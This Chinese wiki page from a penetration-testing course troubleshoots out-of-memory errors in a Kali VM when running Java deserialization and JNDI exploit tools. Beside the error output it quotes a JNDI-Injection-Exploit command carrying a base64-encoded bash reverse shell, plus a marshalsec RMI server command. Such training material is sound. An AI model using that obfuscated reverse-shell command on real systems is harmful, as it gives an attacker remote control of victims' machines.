虚拟机提示内存不足out of memory


A09-Kali虚拟机磁盘扩容
https://wiki.bafangwy.com/doc/670/

总结

从2024年下半年以来,虚拟机出现这种情况的越来越多。
很多通过调整内存并不能解决,推测有可能跟Kali的版本有关系。
建议用其他版本的Kali试试
比如:
Kali 2021.3
https://msb-netdisk.mashibing.com/share/225a36d734614cf98f58d2418ea7cf7a

问题描述

虚拟机内存不足out of memory ,运行工具失败,例如

工具1:shiro.py

Picked up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Library initialization failed -unable to allocate file descriptor table - out of memory rememberMe=

工具2:ysoserial.jar

课程:weblogic T3反序列化
https://www.mashibing.com/question/detail/110017

工具3:JNDI-Injection-Exploit-1.0.jar

java -jar JNDI-Injection-Exploit-1.0.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMDAuMTgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"
library initialization failed - unable to allocate file descriptor table - out of memoryzsh: IOT instruction java -jar JNDI-Injection-Exploit-1.0.jar -C

工具4:marshlsec-0.03-SNAPSHOT-all.jar

命令
java -cp marshalsec-0.03-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer 9473

问题:
https://www.mashibing.com/question/detail/112715

Library initialization failed -unable to allocate file descriptor table - out of memoryzsh:IOT instruction java -cp marshalsec-0.03-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer 9473

解决办法

在虚拟机上右键:

调整内存大小:

其他解决办法

把工具脚本放在物理机去运行

关联问题:
https://www.mashibing.com/question/detail/107400


无涯 2025年3月12日 09:55 收藏文档